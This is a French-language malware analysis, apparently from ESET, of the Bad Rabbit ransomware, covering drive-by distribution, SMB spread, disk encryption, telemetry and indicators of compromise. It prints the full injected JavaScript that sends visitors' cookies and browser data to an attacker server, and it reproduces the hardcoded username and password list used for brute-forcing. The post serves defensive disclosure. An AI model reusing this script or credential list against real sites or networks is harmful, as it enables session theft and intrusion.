Un nouveau rançongiciel, Bad Rabbit a été répandu aujourd’hui, affectant notamment certaines infrastructures ukrainiennes d’envergure, y compris le métro de Kiev.

Attaque de type « drive-by download » sur des sites populaires

Le drive-by download constitue l’une des méthodes de distribution de Bad Rabbit. Certains sites Web populaires ont été compris et du JavaScript a été injecté dans le corps de leur document HTML on dans l’un de leur fichier .js.Voici une version propre du code injecté :

function e(d) {
  var xhr = null;
  if (!!window.XMLHttpRequest) {
    xhr = new XMLHttpRequest();
  } else if (!!window.ActiveXObject) {
    var xhrs = ['Microsoft.XMLHTTP', 'Msxml2.XMLHTTP', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP.6.0'];
    for (var i = 0; i < xhrs.length; i++) {
      try {
        xhr = ActiveXObject(xhrs[i]);
        break;
      } catch (e) {}
    }
  }
  if (!!xhr) {
    xhr.open('POST', 'http://185.149.120\.3/scholargoogle/');
    xhr.timeout = 10000;
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4 && xhr.status == 200) {
        var resp = xhr.responseText;
        if (resp) {
          var fans = JSON.parse(resp);
          if (fans) {
            var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, '%20');
            var da = document.createElement('div');
            da.id = 'ans';
            da.innerHTML = an_s;
            document.body.appendChild(da);
          }
        }
      }
    };
    var pd = [];
    for (var k in d) {
      if (d.hasOwnProperty(k)) {
        pd.push(k + '=' + d[k]);
      }
    }
    var dc = pd.join('&');
    xhr.send(dc);
  }
}
e({
  'agent': navigator.userAgent,
  'referer': document.referrer,
  'cookie': document.cookie,
  'domain': window.location.hostname,
  'c_state': !!document.cookie
});

Ce script transmet les informations suivantes à 185.149.120[.]3, qui ne semble plus répondre pour l’instant.

  • Navigateur (Utilisateur-Agent);
  • référent;
  • Cookies du site visité;
  • Nom de domaine du site visité.

La logique côté serveur peut déterminer si un visiteur est d’intérêt et, le cas échéant, ajouter du contenu à la page. Dans ce cas, nous avons observé un pop-up s’affichant au milieu de la page, nous demandant d’installer une mise à jour de Flash Player.

Quand on clique sur le bouton « Install », le téléchargement d’un fichier exécutable provenant de 1dnscontrol[.]com s’amorce. Ce fichier exécutable, install_flash_player.exe est l’injecteur (ou dropper) pour Win32/Diskcoder.D.

Au final, l’ordinateur est verrouillé et affiche le message de rançon suivant :

Voici une capture de la page de paiement :

Propagation par SMB

Win32/Diskcoder.D peut se propager via SMB. Contrairement à ce que certains affirment, il n’utilise pas la vulnérabilité EthernalBlue, comme c’était le cas de l’épidémie Win32/Diskcoder.C (Not-Petya). Il balaie tout d’abord les réseaux locaux pour trouver des partages SMB ouverts. Il recherche les partages suivants :

  • admin
  • atsvc
  • browser
  • eventlog
  • lsarpc
  • netlogon
  • ntsvcs
  • spoolss
  • samr
  • srvsvc
  • scerpc
  • svcctl
  • wkssvc

Mimikatz est lancé sur l’ordinateur compromis afin de récolter des informations d'identification. Une liste de noms d’utilisateur et de mots de passe codé en dur est aussi présente.

Noms d’utilisateur Mots de passe
Administrator Administrator
Admin administrator
Guest Guest
User guest
User1 User
user-1 user
Test Admin
root adminTest
buh test
boss root
ftp 123
rdp 1234
rdpuser 12345
rdpadmin 123456
manager 1234567
support 12345678
work 123456789
other user 1234567890
operator Administrator123
backup administrator123
asus Guest123
ftpuser guest123
ftpadmin User123
nas user123
nasuser Admin123
nasadmin admin123Test123
superuser test123
netguest password
alex 111111
55555
77777
777
qwe
qwe123
qwe321
qwer
qwert
qwerty
qwerty123
zxc
zxc123
zxc321
zxcv
uiop
123321
321
love
secret
sex
god

Quand des identifiants qui fonctionnent sont trouvés, le fichier infpub.dat est téléversé dans le répertoire Windows et est exécuté par SCManager et rundll.exe.

Chiffrement

Win32/Diskcoder.D est une version modifiée de Win32/Diskcoder.C. Des bogues dans l’algorithme de chiffrement ont été réparés. DiskCryptor, un logiciel libre légitime utilisé pour le chiffrement de disque complet, est maintenant utilisé pour le chiffrement du disque de la victime. Les clés sont générées en utilisant CryptGenRandom, avant d’être protégées par une clé publique RSA-2048 codée en dur. Comme auparavant, AES-128-CBC est utilisé.

Distribution

Fait intéressant; la télémétrie d’ESET montre que l’Ukraine ne compte que pour 12.2% des cas où nous avons observés Win32/Diskcoder.D. Voici les statistiques en question :

  • Russie : 65%
  • Ukraine : 12.2%
  • Bulgarie : 10.2%
  • Turquie : 6.4%
  • Japon : 3.8%
  • Autre: 2.4%.

Ces données concordent assez bien à celles des sites compromis qui incluent le JavaScript malveillant. Alors, pourquoi l’Ukraine semble plus touchée que les autres pays?

Il est intéressant de noter que toutes ces grandes organisations ont été touchées au même moment. Il est donc possible que le groupe ait pu accéder à leur réseau précédemment et ait choisi de lancer l’attaque drive-by download au même moment en tant que leurre. Rien n’indique qu’elles se soient fait prendre par la fausse « Mise à jour de Flash Player ». ESET continue d’enquêter et nous allons publier nos découvertes au fur et à mesure.

Échantillons

SHA-1 Nom de fichier Nom de détection d’ESET Description
79116fe99f2b421c52ef64097f0f39b815b20907 infpub.dat Win32/Diskcoder.D Diskcoder
afeee8b4acff87bc469a6f0364a81ae5d60a2add dispci.exe Win32/Diskcoder.D Lockscreen
413eba3973a15c1a6429d9f170f3e8287f98c21c Win32/RiskWare.Mimikatz.X Mimikatz (32-bits)
16605a4a29a101208457c47ebfde788487be788d Win64/Riskware.Mimikatz.X Mimikatz (64-bits)
de5c8d858e6e41da715dca1c019df0bfb92d32c0 install_flash_player.exe Win32/Diskcoder.D Injecteur
4f61e154230a64902ae035434690bf2b96b4e018 page-main.js JS/Agent.NWC JavaScript sur les sites compromis

Serveur C&C

Site de paiement : http://caforssztxqzf2nm[.]onion
URL d’injection : http://185.149.120[.]3/scholargoogle/
URL de distribution : hxxp://1dnscontrol[.]com/flash_install.php

Liste de sites compromis en date du 2017-10-24:

  • hxxp://argumentiru[.]com
  • hxxp://www.fontanka[.]ru
  • hxxp://grupovo[.]bg
  • hxxp://www.sinematurk[.]com
  • hxxp://www.aica.co[.]jp
  • hxxp://spbvoditel[.]ru
  • hxxp://argumenti[.]ru
  • hxxp://www.mediaport[.]ua
  • hxxp://blog.fontanka[.]ru
  • hxxp://an-crimea[.]ru
  • hxxp://www.t.ks[.]ua
  • hxxp://most-dnepr[.]info
  • hxxp://osvitaportal.com[.]ua
  • hxxp://www.otbrana[.]com
  • hxxp://calendar.fontanka[.]ru
  • hxxp://www.grupovo[.]bg
  • hxxp://www.pensionhotel[.]cz
  • hxxp://www.online812[.]ru
  • hxxp://www.imer[.]ro
  • hxxp://novayagazeta.spb[.]ru
  • hxxp://i24.com[.]ua
  • hxxp://bg.pensionhotel[.]com
  • hxxp://ankerch-crimea[.]ru